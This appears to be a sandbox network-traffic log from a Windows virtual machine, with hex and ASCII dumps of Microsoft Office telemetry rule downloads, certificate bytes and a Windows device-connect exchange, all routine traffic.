2024-11-30 03:12:58 UTC	15824	IN	Data Raw: 4d 53 43 46 00 00 00 00 8d 2b 00 00 00 00 00 00 44 00 00 00 00 00 00 00 03 01 01 00 01 00 04 00 5b 49 00 00 14 00 00 00 00 00 10 00 8d 2b 00 00 a8 49 00 00 00 00 00 00 00 00 00 00 64 00 00 00 01 00 01 00 72 4d 00 00 00 00 00 00 00 00 00 00 00 00 80 00 65 6e 76 69 72 6f 6e 6d 65 6e 74 2e 63 61 62 00 fe f6 51 be 21 2b 72 4d 43 4b ed 7c 05 58 54 eb da f6 14 43 49 37 0a 02 d2 b9 86 0e 41 52 a4 1b 24 a5 bb 43 24 44 18 94 90 92 52 41 3a 05 09 95 ee 54 b0 00 91 2e e9 12 10 04 11 c9 6f 10 b7 a2 67 9f bd cf 3e ff b7 ff b3 bf 73 ed e1 9a 99 f5 c6 7a d7 bb de f5 3e cf fd 3c f7 dc 17 4a 1a 52 e7 41 a8 97 1e 14 f4 e5 25 7d f4 05 82 82 c1 20 30 08 06 ba c3 05 02 11 7f a9 c1 ff d2 87 5c 1e f4 ed 65 8e 7a 1f f6 0a 40 03 1d 7b f9 83 2c 1c 2f db b8 3a 39 3a 58 38 ba 73 5e Data Ascii: MSCF+D[I+IdrMenvironment.cabQ!+rMCK\|XTCI7AR$C$DRA:T.og>sz><JRA%} 0\ez@{,/:9:X8s^
2024-11-30 03:12:58 UTC	14181	IN	Data Raw: 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 26 30 24 06 03 55 04 03 13 1d 4d 69 63 72 6f 73 6f 66 74 20 54 69 6d 65 2d 53 74 61 6d 70 20 50 43 41 20 32 30 31 30 30 1e 17 0d 32 33 31 30 31 32 31 39 30 37 32 35 5a 17 0d 32 35 30 31 31 30 31 39 30 37 32 35 5a 30 81 d2 31 0b 30 09 06 03 55 04 06 13 02 55 53 31 13 30 11 06 03 55 04 08 13 0a 57 61 73 68 69 6e 67 74 6f 6e 31 10 30 0e 06 03 55 04 07 13 07 52 65 64 6d 6f 6e 64 31 1e 30 1c 06 03 55 04 0a 13 15 4d 69 63 72 6f 73 6f 66 74 20 43 6f 72 70 6f 72 61 74 69 6f 6e 31 2d 30 2b 06 03 55 04 0b 13 24 4d 69 63 72 6f Data Ascii: UUS10UWashington10URedmond10UMicrosoft Corporation1&0$UMicrosoft Time-Stamp PCA 20100231012190725Z250110190725Z010UUS10UWashington10URedmond10UMicrosoft Corporation1-0+U$Micro

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.6	49876	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:57 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:57 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 3452a663-f01e-003c-1f91-3f8cf0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031257Z-174f7845968ljs8phC1EWRe6en00000010pg00000000awut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:58 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
113	192.168.2.6	49879	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:57 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:58 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: ca68633c-201e-006e-1f8a-3fbbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031258Z-174f7845968kvnqxhC1EWRmf3g0000000mh000000000kdba x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:58 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
114	192.168.2.6	49880	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:58 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:58 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 1fdc6110-601e-003e-5e15-413248000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031258Z-174f784596886s2bhC1EWR743w00000010xg000000006pdu x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:58 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
115	192.168.2.6	49881	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:58 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:58 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: d3a187f9-801e-0078-2263-40bac6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031258Z-174f7845968pf68xhC1EWRr4h8000000113000000000a2z9 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:58 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
116	192.168.2.6	49882	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:58 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:12:58 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:12:58 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: e3ba4dff-401e-002a-1ea2-42c62e000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031258Z-174f7845968pf68xhC1EWRr4h8000000114g0000000066dh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:12:58 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49884	20.198.118.190	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:59 UTC	71	OUT	Data Raw: 43 4e 54 20 31 20 43 4f 4e 20 33 30 35 0d 0a 4d 53 2d 43 56 3a 20 49 77 62 43 4d 56 57 58 4a 30 69 57 4a 4b 54 6e 2e 31 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 30 34 61 38 66 37 39 38 39 64 37 61 36 31 0d 0a 0d 0a Data Ascii: CNT 1 CON 305MS-CV: IwbCMVWXJ0iWJKTn.1Context: ed04a8f7989d7a61
2024-11-30 03:12:59 UTC	249	OUT	Data Raw: 3c 63 6f 6e 6e 65 63 74 3e 3c 76 65 72 3e 32 3c 2f 76 65 72 3e 3c 61 67 65 6e 74 3e 3c 6f 73 3e 57 69 6e 64 6f 77 73 3c 2f 6f 73 3e 3c 6f 73 56 65 72 3e 31 30 2e 30 2e 30 2e 30 2e 31 39 30 34 35 3c 2f 6f 73 56 65 72 3e 3c 70 72 6f 63 3e 78 36 34 3c 2f 70 72 6f 63 3e 3c 6c 63 69 64 3e 65 6e 2d 43 48 3c 2f 6c 63 69 64 3e 3c 67 65 6f 49 64 3e 32 32 33 3c 2f 67 65 6f 49 64 3e 3c 61 6f 61 63 3e 30 3c 2f 61 6f 61 63 3e 3c 64 65 76 69 63 65 54 79 70 65 3e 31 3c 2f 64 65 76 69 63 65 54 79 70 65 3e 3c 64 65 76 69 63 65 4e 61 6d 65 3e 56 4d 77 61 72 65 32 30 2c 31 3c 2f 64 65 76 69 63 65 4e 61 6d 65 3e 3c 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 74 72 75 65 3c 2f 66 6f 6c 6c 6f 77 52 65 74 72 79 3e 3c 2f 61 67 65 6e 74 3e 3c 2f 63 6f 6e 6e 65 63 74 3e Data Ascii: <connect><ver>2</ver><agent><os>Windows</os><osVer>10.0.0.0.19045</osVer><proc>x64</proc><lcid>en-CH</lcid><geoId>223</geoId><aoac>0</aoac><deviceType>1</deviceType><deviceName>VMware20,1</deviceName><followRetry>true</followRetry></agent></connect>
2024-11-30 03:12:59 UTC	1084	OUT	Data Raw: 41 54 48 20 32 20 43 4f 4e 5c 44 45 56 49 43 45 20 31 30 36 31 0d 0a 4d 53 2d 43 56 3a 20 49 77 62 43 4d 56 57 58 4a 30 69 57 4a 4b 54 6e 2e 32 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 30 34 61 38 66 37 39 38 39 64 37 61 36 31 0d 0a 0d 0a 3c 64 65 76 69 63 65 3e 3c 63 6f 6d 70 61 63 74 2d 74 69 63 6b 65 74 3e 74 3d 45 77 43 34 41 75 70 49 42 41 41 55 31 62 44 47 66 64 61 7a 69 44 66 58 70 6a 4e 35 4e 36 63 59 68 54 31 77 62 6d 51 41 41 55 64 4d 74 43 50 4f 37 76 2f 5a 2f 32 67 72 76 5a 55 51 76 4e 64 64 73 4b 34 55 4c 79 4b 72 56 67 58 53 4b 69 35 47 65 67 73 50 49 72 66 5a 69 69 32 6f 78 63 78 30 68 4c 39 41 43 4c 47 32 50 53 61 70 54 48 44 62 63 74 4d 48 32 42 51 30 51 77 6e 6c 6e 50 62 2f 63 51 72 45 49 57 44 65 32 42 62 46 73 55 6b 4e 46 6f 43 49 6b 50 Data Ascii: ATH 2 CON\DEVICE 1061MS-CV: IwbCMVWXJ0iWJKTn.2Context: ed04a8f7989d7a61<device><compact-ticket>t=EwC4AupIBAAU1bDGfdaziDfXpjN5N6cYhT1wbmQAAUdMtCPO7v/Z/2grvZUQvNddsK4ULyKrVgXSKi5GegsPIrfZii2oxcx0hL9ACLG2PSapTHDbctMH2BQ0QwnlnPb/cQrEIWDe2BbFsUkNFoCIkP
2024-11-30 03:12:59 UTC	74	OUT	Data Raw: 42 4e 44 20 33 20 43 4f 4e 5c 51 4f 53 20 35 36 0d 0a 4d 53 2d 43 56 3a 20 49 77 62 43 4d 56 57 58 4a 30 69 57 4a 4b 54 6e 2e 33 0d 0a 43 6f 6e 74 65 78 74 3a 20 65 64 30 34 61 38 66 37 39 38 39 64 37 61 36 31 0d 0a 0d 0a Data Ascii: BND 3 CON\QOS 56MS-CV: IwbCMVWXJ0iWJKTn.3Context: ed04a8f7989d7a61
2024-11-30 03:12:59 UTC	14	IN	Data Raw: 32 30 32 20 31 20 43 4f 4e 20 35 38 0d 0a Data Ascii: 202 1 CON 58
2024-11-30 03:12:59 UTC	58	IN	Data Raw: 4d 53 2d 43 56 3a 20 32 4d 37 52 62 4c 72 45 70 30 53 6e 73 4d 30 46 72 59 52 63 76 67 2e 30 0d 0a 0d 0a 50 61 79 6c 6f 61 64 20 70 61 72 73 69 6e 67 20 66 61 69 6c 65 64 2e Data Ascii: MS-CV: 2M7RbLrEp0SnsM0FrYRcvg.0Payload parsing failed.

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49886	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:12:59 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:00 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 340b88d8-401e-0064-2ede-4154af000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031300Z-174f7845968qj8jrhC1EWRh41s00000010tg000000008z68 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:00 UTC	1401	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701151" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextA

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49887	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:00 UTC	192	OUT	GET /rules/rule701150v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:00 GMT Content-Type: text/xml Content-Length: 1364 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE1223606" x-ms-request-id: c3f555e4-101e-0028-3c1d-418f64000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031300Z-174f7845968px8v7hC1EWR08ng00000010z000000000nz67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:00 UTC	1364	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 31 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 78 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 78 74 41 6e 64 46 6f 6e 74 73 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701150" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Text" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTextAndFonts" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49889	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:00 UTC	192	OUT	GET /rules/rule702201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:00 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:00 GMT Content-Type: text/xml Content-Length: 1397 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:56 GMT ETag: "0x8DC582BE7262739" x-ms-request-id: dc0e935b-901e-005b-3791-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031300Z-174f7845968swgbqhC1EWRmnb400000010yg00000000ctwd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-30 03:13:00 UTC	1397	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 65 6c 6c 4d 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 65 6c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.TellMe.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTel

Session ID	Source IP	Source Port	Destination IP	Destination Port
121	192.168.2.6	49890	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-30 03:13:00 UTC	192	OUT	GET /rules/rule702200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-30 03:13:01 UTC	494	IN	HTTP/1.1 200 OK Date: Sat, 30 Nov 2024 03:13:00 GMT Content-Type: text/xml Content-Length: 1360 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDEB5124" x-ms-request-id: b189b901-c01e-0079-3391-3fe51a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241130T031300Z-174f7845968cdxdrhC1EWRg0en00000010rg00000000fr6y x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
